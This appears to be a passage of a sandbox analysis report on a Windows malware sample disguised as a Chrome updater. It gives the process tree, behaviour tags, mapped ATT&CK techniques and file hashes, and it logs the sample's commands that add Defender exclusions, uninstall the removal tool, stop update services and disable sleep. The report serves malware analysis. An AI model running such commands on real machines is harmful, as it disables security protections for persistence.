    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2056,i,10672082773870315304,6805795662236579033,524288 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2172 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,18191383701872147538,16287104571250885456,524288 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2548 /prefetch:13
    3⤵
    PID:552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3156,i,6618829573607042501,17177606336124340298,2097152 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    PID:2856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3184,i,5044805141463138600,15142509705802375066,2097152 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:1800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3996,i,10591400377302373630,17668727484595970545,2097152 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4012 /prefetch:9
    3⤵
    PID:5176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3824,i,12309874332849017442,10801672634598349146,2097152 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4484 /prefetch:1
    3⤵
    PID:4996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5388,i,13203548728944785934,15878417735173459694,524288 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5396 /prefetch:14
    3⤵
    PID:3016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5712,i,10828451376398111712,10813857820645946490,524288 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5672 /prefetch:14
    3⤵
    PID:4600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5720,i,1869250787406768059,5023797807986823039,524288 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5644 /prefetch:14
    3⤵
    PID:896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5660,i,16435471113433523992,1857932059557423257,524288 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5768 /prefetch:14
    3⤵
    PID:1160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2168,i,7124634033377757403,14242609623057968090,524288 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5272 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:4916
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x36c,0x7ffc47bfc188,0x7ffc47bfc194,0x7ffc47bfc1a0
    3⤵
    PID:1392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1708,i,17451357905260133272,5627760648063253763,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5556
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1532,i,8693078414569245015,3293963639853916774,262144 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:2
    3⤵
    PID:388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2316,i,3590110549952869987,14106027559050088281,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:13
    3⤵
    PID:3016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3448,i,3474164444350798854,17929466159150908780,2097152 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
    3⤵
    PID:1588
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3468,i,3150520408655701534,17310733950336662749,2097152 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
    3⤵
    PID:5528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4904,i,17537314547958837428,3628366589450046254,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=4932 /prefetch:14
    3⤵
    PID:5240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4900,i,5868847797906595042,18086160014905194386,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=4936 /prefetch:14
    3⤵
    PID:5908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,13126603241014630299,10139184432604588533,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:14
    3⤵
    PID:3104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=1136
      4⤵
      PID:2968
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5828,i,8382134653577395322,10367897687894572515,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
    3⤵
    PID:6060
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5828,i,8382134653577395322,10367897687894572515,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
    3⤵
    PID:1624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5956,i,11979981820826274337,3583695319244239612,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=4148 /prefetch:14
    3⤵
    PID:6544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5980,i,11583224882098133424,10769309055572369294,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
    3⤵
    PID:6568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5992,i,13620840208989225654,10880280510139211827,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:14
    3⤵
    PID:6604
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6696,i,15056778643266250232,1322874259876105898,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=6700 /prefetch:14
    3⤵
    PID:6740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6384,i,321696781363540125,15312822704812936572,524288 --field-trial-handle=2188,i,8971487305054533299,4559014711470558557,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:14
    3⤵
    PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3292

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3640

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3696

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3788

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:5652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:5584

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5896

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:5748

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3168

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3964

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3560

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3412

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3704

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1048

C:\ProgramData\Chrome146\Chrome145.exe
C:\ProgramData\Chrome146\Chrome145.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:3240

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} -Embedding
1⤵
PID:2840

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:892

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5600

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5172

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5304

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:5064
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:3724
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5336
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5832
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5220
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5500
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2940
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:5928
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4140
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4344
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:5972
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:5736
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:3380
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:236

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4836

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3080

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:3848
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 436 -p 936 -ip 936
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:5412

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3492

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3976

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:5612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 7134ade44c1ddf0c89107a92b1216181db781f14d1f4b18e82773f5dd30fd626
MD5 122cac69d9ad1e9e414a03288796d01a
SHA1 02026fa9857aa65c98011e01ad88fbf9a6e18a41
SHA512 9f741e8a86b98d6451556c268ea9b043dce28dcbb378ee19b29df80285d2d8be7401e15fff5aa754a9292d84c0f3da251640f47af19f3dfb72e421534abb77d3
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 8eeb208d51dceef22778393934da532e1741851e654052dd37ae558e65c75f6f
MD5 d6ee233ed23ca74fcb98d65f1466b691
SHA1 874dfeebf3cdfe01eed31ad8268e5dbe77007f8b
SHA512 96aaa799291439c8fcf3bffcfe4ac0c7abb7c6324dc77531d2475de30751243129ca368272636054e13e5a24fc46f4cf4d706732d2d558750c862f8f67fb601f
TLSH
T1B6E02BB9CC21DC2709FD1B2C6456474AF718171B2B91859B3E3C42094FB173A45C585C
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 77d3b6c7af9d1536c61439f261bf2a416dfab2a53744e846e47095c47da147b0
MD5 3c3cdfb61a56978e5168e185c7147378
SHA1 6238146d4e119bee2f2d25ecb8425a45d07722b7
SHA512 b7b72d2561b36784e77de95d619f7ceec4293c54a92f26e7c0c770d7cb8969e2b3db143031207f31bd8f08b9342bb3ff40a3378a749d696d88a2acdcb7f4ba61
SSDEEP 6:/F48dmcBBK494+Y8Kt3Z61/NGmLROa5V7sLS7S961r1qv1lluzbzQ1EqT:d48d3BKEuJ638a5hsx961rsv1/iQhT
TLSH
T1B013E53ED6760D02CAB66174979B07B42B76C344C59240DBE870E16ED9C83225B06528
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 fc8d095062ec9cf54443eb445ae8060ead8e8ae3913979d1729732a42ffbd219
MD5 bf26262b70a88cfa1df3a2749a834102
SHA1 cdc48fb991a6a97a54f4e416145369afc1f644f7
SHA512 f9da6a21b431e03498cf0088467188ea944a679c5cbd02e6ebbcc89f162a3ef3e8b46d24e643da7036afa254764b9ee4f49f7c0f628edf19a64c7d36c868b7b9
SSDEEP 96:tzH9F/glopDWHPDqSCyzaBF0UNughO2hjWJVOLHKWol:1DCiw38BNs2hSScl
TLSH
T15044E8F71D09EEC7EB29CEB06C508234CD325B262DA4BC36F53940B246955E332287A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 e975a2794647ecebbd9dcb58ec3eb31142d819c9336d83c22f0529a070833e06
MD5 7522e37b804eef848fb0b4dd78d578cd
SHA1 b6599d44c2391d841f629b3cb485c58b85e94217
SHA512 3ebfd5b22c91551f661687326018b3465d4ed0b06db4cf8bd20b72d428d9fab628c94144ebbd65d7e44b71c26bc378192ce13709e638965e34826dec52cdbd24
SSDEEP 96:nGaFWJo9ADGmlYVnD8YT06ach+Ok+2MM8JMeK7SGb6KKpSV:Gvq9HmlMwYTVCasSxc
TLSH
T1AE255CD1DD7A9E02D1FC197A1DF0E530366418BB70C3684068AC26EE25EFAB29C05199
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 7f0faad35bc00b060d0cb2712f21542e946f8f5743eebd83e7f706caf6efaa2c
MD5 36425ed0048afabf020d5b254d2cec61
SHA1 98e4f35d837b616988e68ae32bcfcea911bd48c8
SHA512 2fa860dc114eb413278b5ab7ab650d475291d6f65051bde8bf3f84e34974105063d6558e01fe0680069332ba8660d304a7b258b4c01d7015dcf48453f87e3c9f
